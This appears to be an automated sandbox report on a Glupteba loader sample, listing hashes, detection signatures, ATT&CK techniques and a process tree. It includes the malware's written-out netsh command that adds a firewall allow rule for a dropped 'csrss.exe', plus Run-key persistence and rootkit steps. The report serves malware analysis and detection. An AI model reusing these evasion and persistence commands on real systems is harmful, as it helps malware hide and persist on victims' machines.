glupteba | 3d0b4cd9f8c3c3c6d7fd3c55beb9785ed3d05c2e970af28422d26b2b74763106

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17/05/2024, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6779d89b7a368f4f3f340b50a9d18d71.exe
Size 4.1MB
Sample240517-dp3f6aef6v
SHA256 3d0b4cd9f8c3c3c6d7fd3c55beb9785ed3d05c2e970af28422d26b2b74763106
MD5 5b74ccd7f076e5f04da0fd9bb4117cb1
SHA1 bb7f82a5d612656e5368ad63ddc8d7964de0bb02
SHA512 842cbcc4a668cd98388450f05122242cceda29e09cf3fbb0bb3c8deca7331ab3795ae5b619ed39b52ee180bf36c60cbbfa89d9f54be9f9a16bc8e2bcf5ddd125
SSDEEP 98304:KeUiHluf0rQLB7qDC2cDnv7XkMmFoNL2AuFwfBpDq4kblyNxxbhOzhGS:KgHncLBP5HkIsFwf3u4kByfxbhOF
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 26 IoCs

resource	yara_rule
behavioral2/memory/544-2-0x0000000002DC0000-0x00000000036AB000-memory.dmp	family_glupteba
behavioral2/memory/544-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/544-105-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/544-106-0x0000000002DC0000-0x00000000036AB000-memory.dmp	family_glupteba
behavioral2/memory/668-133-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-213-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-224-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-226-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-229-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-233-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-236-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-238-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-241-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-245-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-248-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-250-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-253-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-257-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-260-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-262-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-265-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-269-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-272-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-274-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-278-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4848-281-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1948	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
4848	csrss.exe
1544	injector.exe
4308	windefender.exe
1888	windefender.exe
3672	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
4332	713674d5e968cbe2102394be0b2bae6f.exe
1896	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000023418-217.dat	upx
behavioral2/memory/4308-218-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1888-221-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4308-223-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1888-227-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1888-232-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1888-242-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000d00000002341a-330.dat	upx
behavioral2/memory/3672-331-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/3672-343-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000b00000002341b-360.dat	upx
behavioral2/memory/4332-361-0x0000000000730000-0x0000000000FFD000-memory.dmp	upx
behavioral2/files/0x000b00000002341c-387.dat	upx
behavioral2/memory/1896-389-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6779d89b7a368f4f3f340b50a9d18d71.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	6779d89b7a368f4f3f340b50a9d18d71.exe
File created	C:\Windows\rss\csrss.exe	6779d89b7a368f4f3f340b50a9d18d71.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2556	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe
1584	powershell.exe
2104	powershell.exe
3556	powershell.exe
4604	powershell.exe
3668	powershell.exe
4236	powershell.exe
2648	powershell.exe
3660	powershell.exe
3436	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4784	schtasks.exe
3900	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-2321 = "Sakhalin Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-2432 = "Cuba Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-281 = "Central Europe Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-492 = "India Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-2452 = "Saint Pierre Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-291 = "Central European Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-2002 = "Cabo Verde Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@tzres.dll,-341 = "Egypt Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3556	powershell.exe
3556	powershell.exe
544	6779d89b7a368f4f3f340b50a9d18d71.exe
544	6779d89b7a368f4f3f340b50a9d18d71.exe
4884	powershell.exe
4884	powershell.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
668	6779d89b7a368f4f3f340b50a9d18d71.exe
4604	powershell.exe
4604	powershell.exe
1584	powershell.exe
1584	powershell.exe
3668	powershell.exe
3668	powershell.exe
2104	powershell.exe
2104	powershell.exe
4236	powershell.exe
4236	powershell.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
4848	csrss.exe
4848	csrss.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
4848	csrss.exe
4848	csrss.exe
1544	injector.exe
1544	injector.exe
4848	csrss.exe
4848	csrss.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe
1544	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	544	6779d89b7a368f4f3f340b50a9d18d71.exe
Token: SeImpersonatePrivilege	544	6779d89b7a368f4f3f340b50a9d18d71.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	csrss.exe
Token: SeSecurityPrivilege	2556	sc.exe
Token: SeSecurityPrivilege	2556	sc.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	3436	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 544 wrote to memory of 3556	544	6779d89b7a368f4f3f340b50a9d18d71.exe	86
PID 544 wrote to memory of 3556	544	6779d89b7a368f4f3f340b50a9d18d71.exe	86
PID 544 wrote to memory of 3556	544	6779d89b7a368f4f3f340b50a9d18d71.exe	86
PID 668 wrote to memory of 4884	668	6779d89b7a368f4f3f340b50a9d18d71.exe	94
PID 668 wrote to memory of 4884	668	6779d89b7a368f4f3f340b50a9d18d71.exe	94
PID 668 wrote to memory of 4884	668	6779d89b7a368f4f3f340b50a9d18d71.exe	94
PID 668 wrote to memory of 2456	668	6779d89b7a368f4f3f340b50a9d18d71.exe	97
PID 668 wrote to memory of 2456	668	6779d89b7a368f4f3f340b50a9d18d71.exe	97
PID 2456 wrote to memory of 1948	2456	cmd.exe	99
PID 2456 wrote to memory of 1948	2456	cmd.exe	99
PID 668 wrote to memory of 4604	668	6779d89b7a368f4f3f340b50a9d18d71.exe	101
PID 668 wrote to memory of 4604	668	6779d89b7a368f4f3f340b50a9d18d71.exe	101
PID 668 wrote to memory of 4604	668	6779d89b7a368f4f3f340b50a9d18d71.exe	101
PID 668 wrote to memory of 1584	668	6779d89b7a368f4f3f340b50a9d18d71.exe	103
PID 668 wrote to memory of 1584	668	6779d89b7a368f4f3f340b50a9d18d71.exe	103
PID 668 wrote to memory of 1584	668	6779d89b7a368f4f3f340b50a9d18d71.exe	103
PID 668 wrote to memory of 4848	668	6779d89b7a368f4f3f340b50a9d18d71.exe	105
PID 668 wrote to memory of 4848	668	6779d89b7a368f4f3f340b50a9d18d71.exe	105
PID 668 wrote to memory of 4848	668	6779d89b7a368f4f3f340b50a9d18d71.exe	105
PID 4848 wrote to memory of 3668	4848	csrss.exe	106
PID 4848 wrote to memory of 3668	4848	csrss.exe	106
PID 4848 wrote to memory of 3668	4848	csrss.exe	106
PID 4848 wrote to memory of 2104	4848	csrss.exe	112
PID 4848 wrote to memory of 2104	4848	csrss.exe	112
PID 4848 wrote to memory of 2104	4848	csrss.exe	112
PID 4848 wrote to memory of 4236	4848	csrss.exe	114
PID 4848 wrote to memory of 4236	4848	csrss.exe	114
PID 4848 wrote to memory of 4236	4848	csrss.exe	114
PID 4848 wrote to memory of 1544	4848	csrss.exe	116
PID 4848 wrote to memory of 1544	4848	csrss.exe	116
PID 4308 wrote to memory of 3376	4308	windefender.exe	124
PID 4308 wrote to memory of 3376	4308	windefender.exe	124
PID 4308 wrote to memory of 3376	4308	windefender.exe	124
PID 3376 wrote to memory of 2556	3376	cmd.exe	125
PID 3376 wrote to memory of 2556	3376	cmd.exe	125
PID 3376 wrote to memory of 2556	3376	cmd.exe	125
PID 4848 wrote to memory of 2648	4848	csrss.exe	128
PID 4848 wrote to memory of 2648	4848	csrss.exe	128
PID 4848 wrote to memory of 2648	4848	csrss.exe	128
PID 4848 wrote to memory of 3672	4848	csrss.exe	130
PID 4848 wrote to memory of 3672	4848	csrss.exe	130
PID 4848 wrote to memory of 3672	4848	csrss.exe	130
PID 4848 wrote to memory of 3660	4848	csrss.exe	132
PID 4848 wrote to memory of 3660	4848	csrss.exe	132
PID 4848 wrote to memory of 3660	4848	csrss.exe	132
PID 4848 wrote to memory of 4332	4848	csrss.exe	134
PID 4848 wrote to memory of 4332	4848	csrss.exe	134
PID 4848 wrote to memory of 4332	4848	csrss.exe	134
PID 4848 wrote to memory of 3436	4848	csrss.exe	136
PID 4848 wrote to memory of 3436	4848	csrss.exe	136
PID 4848 wrote to memory of 3436	4848	csrss.exe	136
PID 4848 wrote to memory of 1896	4848	csrss.exe	138
PID 4848 wrote to memory of 1896	4848	csrss.exe	138
PID 4848 wrote to memory of 1896	4848	csrss.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe
"C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3556
- C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe
  "C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe"
  2⤵
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:1948
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
